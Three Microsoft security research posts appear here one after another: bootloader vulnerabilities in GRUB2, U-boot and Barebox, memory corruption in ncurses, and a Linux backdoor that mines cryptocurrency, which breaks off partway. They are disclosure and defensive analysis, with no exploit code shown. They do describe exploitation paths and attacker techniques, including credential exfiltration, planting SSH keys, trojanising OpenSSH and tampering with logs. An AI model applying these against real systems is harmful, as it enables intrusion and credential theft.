Using Security Copilot, we were able to identify potential security issues in bootloader functionalities, focusing on filesystems due to their high vulnerability potential. This approach saved our team approximately a week’s worth of time that would have otherwise been spent manually reviewing the content. Through a series of prompts, we identified and refined security issues, ultimately uncovering an exploitable integer overflow vulnerability. Copilot also assisted in finding similar patterns in other files, ensuring comprehensive coverage and validation of our findings. This efficient process allowed us to confirm several additional vulnerabilities and extend our analysis to other bootloaders like U-boot and Barebox, which share code with GRUB2. We’re sharing this research as an example of the increased efficiency, streamlined workflows, and improved capabilities that AI solutions like Security Copilot can deliver for defenders, security researchers, and SOC analysts. As AI continues to emerge as a key tool in the cybersecurity community, Microsoft emphasizes the importance of vendors and researchers maintaining their focus on information sharing. This approach ensures that AI’s advantages in rapid vulnerability discovery, remediation, and accelerated security operations can effectively counter malicious actors’ attempts to use AI to scale common attack tactics, techniques, and procedures (TTPs).

While threat actors would likely require physical device access to exploit the U-boot or Barebox vulnerabilities, in the case of GRUB2, the vulnerabilities could further be exploited to bypass Secure Boot and install stealthy bootkits or potentially bypass other security mechanisms, such as BitLocker. The implications of installing such bootkits are significant, as this can grant threat actors complete control over the device, allowing them to control the boot process and operating system, compromise additional devices on the network, and pursue other malicious activities. Furthermore, it could result in persistent malware that remains intact even after an operating system reinstallation or a hard drive replacement.

We disclosed these vulnerabilities with the GRUB2, U-boot, and Barebox maintainers and worked with the GRUB2 maintainers to contribute fixes for the discovered vulnerabilities. To address the issues, the GRUB2 maintainers released security updates on February 18, 2025, and both the U-boot and Barebox maintainers released updates on February 19, 2025. We thank the GRUB2, U-boot, and Barebox maintainers as well as the open-source community for their quick response and collaborative efforts in addressing these issues, and we advise users to ensure their instances are up to date. We would also like to thank the RedHat support team for their assistance in disclosing these issues to manufacturers. The respective vulnerabilities are summarized in the following table:

In this blog, we detail how Secure Boot and GRUB2 function, explain how the GRUB2 vulnerabilities could have been exploited, and provide information on the vulnerabilities found in other open-source bootloaders to highlight the risks associated with unknowingly sharing vulnerable code among different open-source projects. As the boot process involves multiple components spanning different manufacturers and vendors, updates and fixes to the Secure Boot process can be particularly complex and run the risk of rendering a device unusable. As such, we are also sharing these findings with the security community to emphasize the importance of responsible disclosure and collaboration in the effort to enhance protection technologies and security across different devices and platforms.

Secure Boot and GRUB2

Before 2006, Intel-based computers booted into startup firmware code commonly known as the BIOS (Basic Input/Output System), which was responsible for hardware initialization and setup of common services to later be used by a bootloader. Ultimately, the BIOS would transfer control to a bootloader coded in real mode, which would commonly load an operating system (OS).

With time, attackers realized there is no root-of-trust verification of bootloaders by the firmware, thus began the era of bootkits, which are bootloader-based rootkits. To standardize the boot process, a unified firmware schema to replace BIOS was introduced in 2006, which is currently known as the Unified Extensible Firmware Interface (UEFI).

UEFI also helped combat bootkits, as it offers services that validate bootloaders and its own extensible modules by means of digital signatures. That protocol is known as Secure Boot and is essential to establishing a root of trust for the boot process, in which the firmware verifies UEFI drivers and OS modules with a platform key or a Key Exchange Key, and bootloaders verify the loaded operating system.

Trust is then achieved with the help of equipment manufacturers, which can sign code trusted by Secure Boot, by means of Certificate Authorities (CA). Essentially, manufacturers sign code with their private key, and their public key is signed with a root CA, commonly Microsoft’s UEFI CA. This is also essential to supporting non-Windows bootloaders such as GRUB2 (which commonly boots Linux) and allowing third party operating systems to benefit from Secure Boot. Since GRUB2 is fully open-sourced, vendors install a small program called a shim, which is signed by Microsoft’s UEFI CA and is responsible for validating the integrity of GRUB2. The shim can further consult a mechanism called Secure Boot Advanced Targeting (SBAT) for further revocation and management options as SBAT is used by the shim to provide a way to track and revoke individual software components based on metadata rather than cryptographic signatures alone.

The dangers of a GRUB2

Since bootloaders run before operating systems run, they mostly have UEFI-provided services as APIs to rely on. Therefore, bootloaders do not benefit from modern operating system security features, such as:

• No-Execute (NX): Known in Windows as Data Execution Prevention (DEP), and enforces memory page execute protections. Before the introduction of NX, attackers could override return addresses (which are maintained in-memory) and jump to arbitrary code (commonly a shellcode) that could be placed using the provided input.
• Address Space Layout Randomization (ASLR): This feature randomizes the base address of modules, which makes return address overrides and function pointer overrides highly unreliable since attackers do not know where usable code might be found.
• Safe dynamic allocators: Dynamic allocations are a favorite target for attackers, and modern operating systems harden their heap allocators with various techniques, including Safe Unlinking, type-safety, Pointer Authentication, and others.
• Stack cookies / Canaries: These are randomly generated values pushed between the return address and local variables on the stack, with the intent of detecting changes in their values before using the return address (commonly in a RET instruction).

Additionally, GRUB2 offers complex logic to implement various features, including:

• Image file parsers (PNG, TGA, and JPEG)
• Font parsing and support (PF2 file format)
• Network support (HTTP, FTP, DNS, ICMP, etc.)
• Various filesystem supportability (FAT, NTFS, EXT, JFS, HFS, ReiserFS, etc.)
• Bash-like command-line utility
• Extensible dynamic module loading capabilities

Furthermore, GRUB2 is coded in C, which is considered a memory-unsafe language, and as mentioned, does not benefit from any modern security mitigation. Considering the implication of defeating Secure Boot and strategically assessing the project (such as with Google’s Rule of 2), it is evident why GRUB2 may be of interest to vulnerability researchers.

Several memory corruption vulnerabilities have been uncovered in the past and are evident of the risks that we have mentioned. Noteworthy examples include:

Findings

Through a combination of static code analysis tools (such as CodeQL), fuzzing the GRUB2 emulator (grub-emu) with AFL++, manual code analysis, and using Microsoft Security Copilot, we have uncovered several vulnerabilities.

Using Security Copilot, we initially explored which functionalities in a bootloader have the most potential for vulnerabilities, with Copilot identifying network, filesystems, and cryptographic signatures as key areas of interest. Given our ongoing analysis of network vulnerabilities and the fact that cryptography is largely handled by UEFI, we decided to focus on filesystems.

Using the JFFS2 filesystem code as an example, we prompted Copilot to find all potential security issues, including exploitability analysis. Copilot identified multiple security issues, which we refined further by requesting Copilot to identify and provide the five most pressing of these issues. In our manual review of the five identified issues, we found three were false positives, one was not exploitable, and the remaining issue, which warranted our attention and further investigation, was an integer overflow vulnerability.

We used Security Copilot to successfully identify similar patterns in other GRUB2 files. Assuming the possibility of false negatives, we performed thorough validation and review of GRUB2 to avoid overlooking any issues, allowing us to confirm several additional vulnerabilities were present relating to the integer overflow.

Through this research, we have disclosed the following vulnerabilities:

Most of those vulnerabilities are simple memory corruption vulnerabilities. As an example, let us examine the JFS symbolic link resolution function:

The vulnerability is an overflow of the size variable:

• The size variable is declared as grub_size_t, which is ultimately defined as a 64-bit unsigned integer (uint64_t).
• The function grub_le_to_cpu64 converts a Little-Endian 64-bit value to the CPU’s native Endianess. Since x86-64 is already Little-Endian, it does nothing (on Big-Endian systems it reverses the byte-order of the 64-bit input value).
• Note the input data and its inode are fully attacker-controlled, since they supply the filesystem image. Therefore, size can get an arbitrary value, including the very large value 0xFFFFFFFFFFFFFFFF (which is the maximum value an unsigned 64-bit integer can get).
• The linknest checks are irrelevant for the vulnerability, but they assure the number of nested symbolic links to not exceed a limit (defined as 8).
• The size+1 calculation is an integer overflow—if size is 0xFFFFFFFFFFFFFFFF then size+1 is now 0. Note grub_malloc happily allocates a 0-byte chunk and returns it to the variable symlink.
• At this point, symlink is being written to by the function grub_jfs_read_file. The contents are arbitrarily set by the attacker, and while this function will never be able to read 0xFFFFFFFFFFFFFFFF bytes, an attacker would still be able to override important data beyond the limit of the symlink variable with an arbitrary payload.

It seems GRUB2 maintainers were aware of other types of integer overflow issues in the past and therefore introduced functions such as grub_add and grub_mul to handle addition and multiplication overflows safely. However, it seems there are quite a few places where those functions have not been considered.

The other vulnerabilities we’ve reported had similar out-of-bounds or integer overflow issues. In addition, we have reported a cryptographic side-channel attack issue, in which the function grub_crypto_memcmp does not perform its memory comparison in constant-time. The vulnerability is quite similar to one we disclosed on Netgear routers in the past.

Variant analysis and extensions to other bootloaders

After the discovery of the GRUB2 filesystem vulnerabilities and validating their exploitability, we concluded it is very likely other bootloaders might be affected by similar vulnerabilities, potentially as a result of the practice of copy-pasting filesystem parsing code between different open-source projects.

To test this hypothesis, we asked Security Copilot to find similar code in GitHub based on GRUB2’s filesystem implementations. This approach initially found many GRUB2 forks, so we continued to refine the search and manually review the results. Within those results, the U-boot and Barebox bootloaders, which are both commonly used for embedded systems, were identified as having shared code with GRUB2. Further investigation led us to identify similar vulnerabilities in both bootloaders, as detailed in the table below.

To exploit those in an embedded system context, attackers would most likely require physical access to those devices.

Enhancing security beyond Microsoft with research and threat intelligence sharing

As our research demonstrates, the discovered vulnerabilities can impact a wide range of systems and devices with varying impact. The vulnerabilities in GRUB2 can be exploited to bypass Secure Boot and allow threat actors to gain arbitrary code execution in the context of GRUB2, install stealthy bootkits and persistent malware, and compromise additional devices on the network. Additionally, there are further consequences to bypassing Secure Boot as it undermines the security mechanism designed to protect the boot process. Secure Boot bypasses can lead to threat actors loading untrusted software and malicious code during the boot process, evading detection by security solutions, and gaining full control of the system for potential widespread impact across operating systems relying on UEFI Secure Boot. While the vulnerabilities impacting U-boot and Barebox may be more difficult to exploit for threat actors by requiring physical device access, the issues still underscore the dangers of sharing susceptible code across multiple open-source projects.

This research also demonstrates the necessity of responsible vulnerability disclosure, threat intelligence sharing, and partner collaboration in addressing these issues to safeguard users against current and future threats. Given the complexity of the boot process, which involves multiple components from different manufacturers, coupled with the fact that updates to Secure Boot can run the risk of rendering a device unusable, responsible disclosure of these vulnerabilities is necessary to prevent threat actor exploitation and give teams time to effectively coordinate and collaborate on mitigation measures.

To address the discovered issues, the GRUB2 maintainers updated the vulnerable versions in SBAT while working with manufacturers to update DBX database entries as well as their shims to improve Secure Boot revocation management, particularly for bootloaders like shim that act as an intermediary between firmware Secure Boot verification and Linux distributions boot processes. In addition to deploying patches to address the vulnerabilities, the GRUB2 maintainers disabled some of the OS modules when Secure Boot is enabled to help ensure only trusted and verified code executes during the boot process, further reducing the attack surface. We would like to again thank the GRUB2 team and open-source community for their efforts in addressing these issues, as well as the U-boot and Barebox maintainers for quickly releasing fixes.

Leveraging AI like Security Copilot was invaluable in our research, saving us approximately a week’s worth of time by efficiently identifying and refining security issues in bootloader functionalities, ultimately allowing us to uncover several vulnerabilities. Identifying, disclosing, and contributing fixes for vulnerabilities, such as those mentioned in this blog post, is part of our ongoing commitment to enhance security at Microsoft and beyond. Microsoft is dedicated to improving security through research-driven protections and collaboration with customers, partners, and industry experts. Microsoft security researchers discover vulnerabilities and threats, translating this knowledge into enhanced solutions that protect users daily, and by expanding our research, we also contribute to the security of devices worldwide across all platforms.

Jonathan Bar Or

Microsoft 365 Defender Research Team

References

• https://lists.gnu.org/archive/html/grub-devel/2025-02/msg00024.html
• https://www.cve.org/CVERecord?id=CVE-2024-56737
• https://www.cve.org/CVERecord?id=CVE-2024-56738
• https://www.cve.org/CVERecord?id=CVE-2025-0677
• https://www.cve.org/CVERecord?id=CVE-2025-0678
• https://www.cve.org/CVERecord?id=CVE-2025-0684
• https://www.cve.org/CVERecord?id=CVE-2025-0685
• https://www.cve.org/CVERecord?id=CVE-2025-0686
• https://www.cve.org/CVERecord?id=CVE-2025-0689
• https://www.cve.org/CVERecord?id=CVE-2025-0690
• https://www.cve.org/CVERecord?id=CVE-2025-1118
• https://www.cve.org/CVERecord?id=CVE-2025-1125
• https://www.cve.org/CVERecord?id=CVE-2025-26726
• https://www.cve.org/CVERecord?id=CVE-2025-26727
• https://www.cve.org/CVERecord?id=CVE-2025-26728
• https://www.cve.org/CVERecord?id=CVE-2025-26729
• https://www.cve.org/CVERecord?id=CVE-2025-26721
• https://www.cve.org/CVERecord?id=CVE-2025-26722
• https://www.cve.org/CVERecord?id=CVE-2025-26723
• https://www.cve.org/CVERecord?id=CVE-2025-26724
• https://www.cve.org/CVERecord?id=CVE-2025-26725
• https://wiki.osdev.org/BIOS
• https://wiki.osdev.org/Bootloader
• https://d3fend.mitre.org/offensive-technique/attack/T1067/
• https://wiki.osdev.org/UEFI
• https://uefi.org/sites/default/files/resources/UEFI_Plugfest_2013_-_New_Orleans_-_Microsoft_UEFI_CA.PDF
• https://www.gnu.org/software/grub/manual/grub/html_node/UEFI-secure-boot-and-shim.html
• https://github.com/rhboot/shim/blob/main/SBAT.md
• https://theapplewiki.com/wiki/Heap_Hardening
• https://chromium.googlesource.com/chromium/src/+/master/docs/security/rule-of-2.md
• https://nvd.nist.gov/vuln/detail/cve-2020-10713
• https://ubuntu.com/security/CVE-2021-3695
• https://ubuntu.com/security/CVE-2021-3696
• https://ubuntu.com/security/CVE-2021-3697
• https://ubuntu.com/security/CVE-2022-28733
• https://ubuntu.com/security/CVE-2022-28734
• https://ubuntu.com/security/CVE-2022-28735
• https://nvd.nist.gov/vuln/detail/cve-2023-4692
• https://codeql.github.com/
• https://github.com/AFLplusplus/AFLplusplus
• https://wiki.osdev.org/Endianness
• https://wiki.osdev.org/X86-64
• https://www.redhat.com/en/blog/inodes-linux-filesystem
• https://cwe.mitre.org/data/definitions/190.html
• https://cwe.mitre.org/data/definitions/208.html

Learn more

Security Copilot customers can use the standalone experience to create their own prompts or run pre-built promptbooks to automate incident response or investigation tasks related to this threat.

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://x.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Analyzing open-source bootloaders: Finding vulnerabilities faster with AI appeared first on Microsoft Security Blog.

One of the most common vulnerabilities found in modern software, memory corruption vulnerabilities, can allow attackers to gain unauthorized access to systems and data by modifying a program’s memory. The impact of memory corruption vulnerabilities can range from leaking sensitive information and performing a simple denial-of-service (DoS) to elevating privileges and executing arbitrary code.

Microsoft has shared these vulnerabilities with the relevant maintainers through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR). Fixes for these vulnerabilities, now identified as CVE-2023-29491 with a CVSS score of 7.8, have been successfully deployed by the maintainers of the ncurses library, Thomas E. Dickey, in commit 20230408. We wish to thank Thomas for his professionalism and collaboration in resolving those issues. We also worked with Apple on addressing the macOS-specific issues related to these vulnerabilities, and we thank Apple for their response and partnership. Lastly, during our analysis, a researcher named Gergely Kalman engaged us privately over Twitter and contributed relevant use cases in addition to his own hand-coded fuzzer. We thank Gergely for his contributions in advancing this research and community engagement. Users of ncurses are encouraged to update their instances and systems.

In this blog post, we share information about ncurses and the discovered memory corruption vulnerabilities. We also share this research to emphasize the importance of collaboration among researchers, industry partners, and the larger security community in the effort to improve security for all.

Understanding terminal databases

Terminal databases are used by ncurses to be terminal-independent, meaning the capabilities of the terminal are not required to be known ahead-of-time. Terminal databases contain a set of capabilities that ultimately determine the control characters that are sent to the terminal (instructing the terminal to perform basic interactions) and describe various properties of the terminal. Terminal databases come in two major formats: the older and less commonly used termcap (terminal capability) format, and the improved terminfo format. Since terminals can differ on the types of control characters they expect and the operations they support, terminfo became necessary to address this discrepancy.  In its textual syntax, capabilities are separated by commas, and come in three forms:

• Boolean capabilities: for example, the am capability specifies that the terminal supports automatic margins. In the terminfo textual syntax, Boolean capabilities appear by their name alone, without any additions.
• Numeric capabilities: for instance, the cols capability contains the number of columns in a line. In the terminfo textual syntax, numeric capabilities are recognized with a “#” symbol after their name, followed by the numeric value, such as “cols#80”.
• String capabilities: for instance, the clear capability describes the control character that should be transmitted to the terminal to clear the screen. In the terminfo textual syntax, string capabilities are recognized with a “=” symbol after their name, followed by the string value, such as “clear=\E[H\E[2J”.

POSIX systems usually pre-ship with tens of such databases. It’s possible to parse the capabilities of the current database with the infocmp utility:

Environment variable poisoning

Every modern operating system contains a set of environment variables that might affect the behavior of programs. A well-known technique for attackers is to manipulate those environment variables to cause programs to perform actions that would benefit their malicious purposes, hence “poisoning” them. There have been multiple cases of environment variable poisoning in the past, for instance:

• CVE-2023-22809: users were allowed to elevate their privileges by poisoning the EDITOR environment variable (and similar other environment variables) and running sudoedit, which ultimately allowed them to edit arbitrary files.
• CVE-2022-0563: the environment variable INPUTRC is indirectly used by the chsh and chfn set-UID Linux binaries. It was discovered that INPUTRC could be poisoned to dump the contents of sensitive files on the system.
• CVE-2020-9934: the HOME environment variable could be poisoned to bypass Transparency, Consent, and Control (TCC) on macOS, thus gaining access to otherwise inaccessible sensitive data. We have found a similar bypass and reported it in 2021.
• CVE–2023-32369: the PERL5OPT and BASH_ENV environment variables could be poisoned to bypass System Integrity Protection (SIP) in macOS, thus elevating privileges. We have reported the vulnerability in April 2023.
• The LD_PRELOAD environment variable is commonly used in Linux for code injection purposes.
• The WINDIR and SYSTEMROOT environment variables have been used in the past on Windows for bypassing User Account Control (UAC).

We have discovered that during initialization, the ncurses library searches for several environment variables, including an environment variable similarly named TERMINFO. When using terminfo databases, the program consults a fixed directory path unless a TERMINFO environment variable is present, which instead points the program to an alternative directory that contains compiled terminfo database files. Moreover, there are interesting common programs that use ncurses, most notably top on macOS, which is a set-UID binary (which runs with elevated privileges) that also uses the TERMINFO environment variable. Therefore, finding vulnerabilities in ncurses have the potential to affect many programs and possibly elevate privileges. It’s noteworthy that the potential of poisoning the TERMINFO environment variable was highlighted several times in the past (for example, here), but we have not seen comprehensive research on the topic of terminfo capabilities for offensive security purposes.

For completeness, while this blog post focuses on how attackers could poison the TERMINFO environment variable to potentially exploit ncurses vulnerabilities, the HOME environment variable could have been similarly manipulated. Assuming the TERMINFO environment variable was never defined, ncurses looks for a $HOME/.terminfo directory. This could have been abused by planting a .terminfo directory at an arbitrary path and poisoning the HOME environment variable, so the technique is quite similar.

Stack-based terminfo capabilities

The terminfo capabilities are richer than they first appear. In a nutshell, capabilities are allowed to receive up to nine parameters (p1-p9) and use them in a stack data structure. Furthermore, capabilities work with a stack-like structure and instructions that can push (place an item in the stack) and pop (get an item from the stack) data, perform logical-arithmetic operations, and even support conditions. Here are some examples:

While not Turing-complete, terminfo offers functionality that resembles very basic programming. Due to the complicated logic required by ncurses, security issues are expected to be found, and indeed there have been numerous ncurses vulnerabilities in the past.

It’s interesting to note that while the version of ncurses we checked was 6.4 (latest at the time of research), the ncurses version on macOS was 5.7, but had several security-related patches maintained by Apple. Nevertheless, all our findings are true for all ncurses versions, thus affecting both Linux and macOS.

Discovered vulnerabilities

We discovered several memory corruption vulnerabilities through code auditing and fuzzing. In addition to using our own AFL++ based fuzzer, the use cases contributed by Gergely Kalman assisted in advancing this research.

The discovered vulnerabilities could have been exploited by attackers to elevate privileges and run code within a targeted program’s context. Nonetheless, gaining control of a program through exploiting memory corruption vulnerabilities requires a multi-stage attack. The vulnerabilities may have needed to be chained together for an attacker to elevate privileges, such as exploiting the stack information leak to gain arbitrary read primitives along with exploiting the heap overflow to obtain a write primitive.

Stack information leak

The function that runs the capability logic is called tparm. It is a C variadic function, meaning its number of arguments is not predefined (similarly to printf). The way variadic functions work in C is usually with the va_list structure and its macros, va_start, va_arg, and va_end. The common scenario for such functions is to parse a format-string, conclude the number of parameters it expects, and use the va_arg macro iteratively to fetch those arguments. However, since an attacker can be in full control of the capability’s string, we can make tparm call va_arg more times than it should, effectively leaking information from the call stack. Since we are allowed up to nine parameters, we can leak up to eight unintended arguments, including arguments from the program’s stack:

Parameterized string type confusion

The stack used by the tparm function is just an allocated array with 20 entries (referred as STACK_FRAME in the source code). Each frame can hold either a number (32-bit signed integer) or a string (pointer). To distinguish between a number and a string, the frame uses a Boolean value, which represents whether the data is numeric or not:

Certain push operations can be easily concluded, for example, when pushing an arithmetic result (such as %+) or a literal (%{number}). However, for parameters, things are different. There is no easy way to know ahead of time whether a parameter is expected to be a string or numeric. Therefore, tparm uses a heuristic—it walks the capability string statically, and when it sees %s or %l, it concludes that the last parameter push was a string. This approach can be abused in multiple ways. For example, the macOS top utility calls mvcur, which in turn calls tparm with the cup capability, along with integer parameters. Treating the parameter as a string can trigger strlen on the integer address:

The crash we triggered occurs during an initialization of the mvcur operation, which assesses the “cost” of moving the cursor by invoking tparm with a constant, non-attacker-controlled value. We can improve the attack by using conditions—if the parameter’s value is not that constant value, then treat the parameter as a string, otherwise treat it as a number. Implementation with capabilities is straightforward:

This should be read as:

This primitive is quite powerful, as we can trigger strlen on an arbitrary number, effectively gaining a read primitive. Gaining a read primitive defeats the Address Space Layout Randomization (ASLR) security mechanism to leak address information and, if the binary happens to contain valuable secrets in its memory (like passwords), an attacker could potentially read those as well.

Cost calculating padding off-by-one

We have mentioned mvcur uses a cost-calculating function to determine the costs of certain capabilities. The cost-calculation is done by the function _nc_msec_cost, and it assesses the number of milliseconds it takes to print out a capability, which is strongly derived by delays that could be a part of a capability. Delays are numeric literal values wrapped between ‘$<’ and ‘>’, and they even support a decimal point. We discovered an off-by-one error—if the function sees a decimal point character, it skips one character assuming a digit, with an insufficient check after:

Therefore, it’s possible to have the cost-calculating function read beyond the boundary of the capability string by closing the delay markup with a ‘>’ character immediately following the decimal dot.

Heap out-of-bounds during terminfo database file parsing

The terminfo database files are binary files commonly compiled from the text representation with a utility called tic. The format of the database consists of the following parts:

• The header: contains a magic value, the size of the terminal name, the number of Boolean capabilities, the number of numeric capabilities, the number of string capabilities, and the total size of string capabilities.
• The terminal name
• The capabilities:
  • The Boolean capabilities
  • The numeric capabilities
  • The string capability offsets
  • The string capabilities themselves
• Optional extended entries (in the same order: Boolean, numeric, and strings)

The optional extended entries are user-defined entries. We discovered that the function that performs that database parsing (_nc_read_termtype) can write beyond the boundaries of a heap-allocated chunk, as such:

1. The code uses calloc to allocate room for the strings. While STRCOUNT is a constant representing the maximum length of standard string capabilities (414), str_count is attacker-controlled and defined in the header of the attacker’s terminfo file. This controls the size of the allocated chunk saved in ptr->Strings.
2. After parsing all the standard capabilities, ncurses starts parsing the extended capabilities. The code assigns ptr->num_Strings to STRCOUNT+ ext_str_count, which might be smaller than the non-extended string count, effectively shrinking ptr->Strings with a realloc call.
3. Immediately after the realloc call, we can see ptr->Strings being written beyond its boundaries. Extended string capabilities are parsed and appended after standard string capabilities. The convert_strings function attempts to achieve this by storing data in ptr->Strings + str_count. However, while ptr->Strings was shrunk to STRCOUNT+ext_str_count,  str_count is user-controlled and can be greater than STRCOUNT.
4. If str_count >= STRCOUNT, then ptr->Strings + str_count + ext_str_count will be greater than ptr->Strings + STRCOUNT + ext_str_count and convert_strings will cause a heap buffer overflow.

Denial of service with canceled strings

The ncurses library has a notion of marking strings as “cancelled”. This is useful for terminfo database inheritance and skipping absent capabilities in general. As an example, the function convert_strings that converts strings from the terminfo database file format to the appropriate data structures in memory sets strings as CANCELLED_STRING if the index referring to them is negative.

The value of the CANCELLED_STRING constant is -1, and before processing, the ncurses codebase looks for these strings and converts them to ABSENT_STRING (constant 0). Unfortunately, it does so only for ordinary strings; extended strings do not get that treatment. Specifically, a heuristic determines that strings that begin with the “k” character should be treated as keypad functionality. This allows an attacker to specify an extended string in a way that will make ncurses dereference -1 (0xFFFFFFFFFFFFFFFF):

Protection and detection with Microsoft Defender for Endpoint

While organizational devices and networks may become increasingly secure, attackers continue to exploit unpatched vulnerabilities and misconfigurations as a vector to access sensitive systems and information. Exploiting vulnerabilities in the ncurses library could have notable consequences for users, allowing attackers to perform malicious actions like elevating privileges to run code in a targeted program’s context and access or modify valuable data and resources. Responding to the evolving threat landscape requires us to expand our expertise across devices and platforms as part of our commitment to continuously improve security from Microsoft, not just for Microsoft.

This case displays how responsible vulnerability disclosure and collaborative research informs our comprehensive protection capabilities across platforms. Microsoft Defender Vulnerability Management is able to quickly discover and remediate such vulnerabilities on both Linux and macOS. Additionally, Microsoft Defender for Endpoint has similar detections for potential abuse of terminfo databases for set-UID binaries, such as macOS’s top:

After discovering the vulnerabilities in the ncurses library, we worked with the maintainer, Thomas E. Dickey, and Apple to ensure the issues were resolved across platforms. Additionally, this case displays the value of community engagement to improve security for all as researcher Gergely Kalman’s use case contributions assisted our research efforts. We wish to again thank Thomas and the Apple product security team for their efforts and collaboration in addressing CVE-2023-29491, as well as Gergely for his contributions in furthering this research.

As the threat landscape continues to evolve and threats across all platforms continue to grow, Microsoft strives to continuously secure users’ computing experiences, regardless of the platform or device in use. We will continue to work with the security community to share vulnerability discoveries and threat intelligence in the effort to build better protection for all.

Jonathan Bar Or, Emanuele Cozzi, Michael Pearse

Microsoft Threat Intelligence team

References

• https://invisible-island.net/ncurses/
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-29491
• https://invisible-island.net/ncurses/NEWS.html#index-t20230408
• https://twitter.com/gergely_kalman
• https://linux.die.net/man/1/infocmp
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-22809
• https://linux.die.net/man/8/sudoedit
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0563
• https://linux.die.net/man/1/chsh
• https://linux.die.net/man/1/chfn
• https://en.wikipedia.org/wiki/Setuid
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9934
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30970
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32369
• https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection
• https://man7.org/linux/man-pages/man8/ld.so.8.html
• https://attack.mitre.org/techniques/T1574/006/
• https://ss64.com/osx/top.html
• https://blog.trailofbits.com/2023/02/16/suid-logic-bug-linux-readline/
• https://www.cvedetails.com/vulnerability-list/vendor_id-72/product_id-38464/GNU-Ncurses.html
• https://github.com/apple-oss-distributions/ncurses
• https://owasp.org/www-community/Fuzzing
• https://github.com/AFLplusplus/AFLplusplus
• https://linux.die.net/man/3/tparm
• https://en.cppreference.com/w/c/variadic/va_list
• https://en.cppreference.com/w/c/variadic/va_start
• https://en.cppreference.com/w/c/variadic/va_arg
• https://en.cppreference.com/w/c/variadic/va_end
• https://linux.die.net/man/3/mvcur
• https://cplusplus.com/reference/cstring/strlen/
• https://linux.die.net/man/1/tic
• https://linux.die.net/man/3/calloc
• https://linux.die.net/man/3/realloc

Further reading

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on Twitter at https://twitter.com/MsftSecIntel.

The post Uncursing the ncurses: Memory corruption vulnerabilities found in library appeared first on Microsoft Security Blog.

Utilizing an established criminal infrastructure that has incorporated the use of a Southeast Asian financial institution’s subdomain as a command and control (C2) server, the threat actors behind the attack use a backdoor that deploys a wide array of tools and components such as rootkits and an IRC bot to steal device resources for mining operations. The backdoor also installs a patched version of OpenSSH on affected devices, allowing threat actors to hijack SSH credentials, move laterally within the network, and conceal malicious SSH connections. The complexity and scope of this attack are indicative of the efforts attackers make to evade detection.

In this blog post, we present our analysis of the tools and techniques used in this attack and the efforts made by the threat actor to evade detection on affected devices. We also provide indicators of compromise and relevant Microsoft Defender for IoT and Microsoft Defender for Endpoint detections, as well as recommendations for defenders to protect devices and networks.

Attack chain

The threat actors initiate the attack by attempting to brute force various credentials on misconfigured internet-facing Linux devices. Upon compromising a target device, they disable shell history and retrieve a compromised OpenSSH archive named openssh-8.0p1.tgz from a remote server. The archive contains benign OpenSSH source code alongside several malicious files: the shell script inst.sh, backdoor binaries for multiple architectures (x86-64, arm4l, arm5l, i568, and i686), and an archive containing the shell script vars.sh, which holds embedded files for the backdoor’s operation.

After installing the payload, the shell script inst.sh runs a backdoor binary that matches the target device’s architecture. The backdoor is a shell script compiled using an open-source project called Shell Script Compiler (shc), and enables the threat actors to perform subsequent malicious activities and deploy additional tools on affected systems.

Custom backdoor deploys open-source rootkits

Once running on a device, the shell script backdoor tests access to /proc to determine whether the device is a honeypot. If it can’t access /proc, it determines the device is a honeypot and exits. Otherwise, it exfiltrates information about the device, including its operating system version, network configuration, and the contents of /etc/passwd and /etc/shadow over email to the hardcoded address dotsysadmin[@]protonmail[.]com, and to any email address provided by the threat actor as an argument to the script.

On supported systems, the backdoor downloads, compiles, and installs two open-source rootkits available on GitHub, Diamorphine and Reptile. The backdoor configures Reptile to connect to the C2 domain rsh.sys-stat[.]download on port 4444 and to hide its child processes, files, or their content. Microsoft researchers assess that the Diamorphine rootkit is used to hide processes as well.

To ensure persistent SSH access to the device, the backdoor appends two public keys to the authorized_keys configuration files of all users on the system.

The backdoor obscures its activity by removing records from Apache, nginx, httpd, and system logs that contain the IP and username specified as arguments to the script. Additionally, it has the capability to install an open-source utility called logtamper to clear the utmp and wtmp logs, which record information about user sign-in sessions and system events.

The backdoor eliminates cryptomining competition from other miners that may exist on the device by monopolizing device resources and preventing communication with a hardcoded list of hosts and IPs related to these activities. It accomplishes this by adding iptables rules to drop communication with the hosts and IPs and configuring /etc/hosts to make the hosts resolve to the localhost address. It also identifies miner processes and files by their names and either terminates them or blocks access to them, and removes SSH access configured in authorized_keys by other adversaries.

Patching OpenSSH source code

The backdoor uses the Linux patch utility to apply the patch file ss.patch, which is embedded in vars.sh, to the OpenSSH source code files included in its package. Once the patches are applied, the backdoor compiles and installs the modified OpenSSH on the device.

The compromised OpenSSH grants the attackers persistent access to the device and to the SSH credentials the device handles. The patches install hooks that intercept the passwords and keys of the device’s SSH connections, whether as a client or a server. The passwords and keys are then stored encrypted in a file on the disk. Moreover, the patches enable root login over SSH and conceal the intruder’s presence by suppressing the logging of the threat actors’ SSH sessions, which are distinguished by a special password.

The modified version of OpenSSH mimics the appearance and behavior of a legitimate OpenSSH server and may thus pose a greater challenge for detection than other malicious files. The patched OpenSSH could also enable the threat actors to access and compromise additional devices. This type of attack demonstrates the techniques and persistence of adversaries who seek to infiltrate and control exposed devices.

Botnet operation

The backdoor runs a secondary payload embedded in the shell script vars.sh, which is a slightly modified version of ZiggyStarTux, an open-source IRC bot based on the Kaiten malware. Among its features is executing bash commands issued from the C2 and possessing distributed denial of service (DDoS) capabilities.

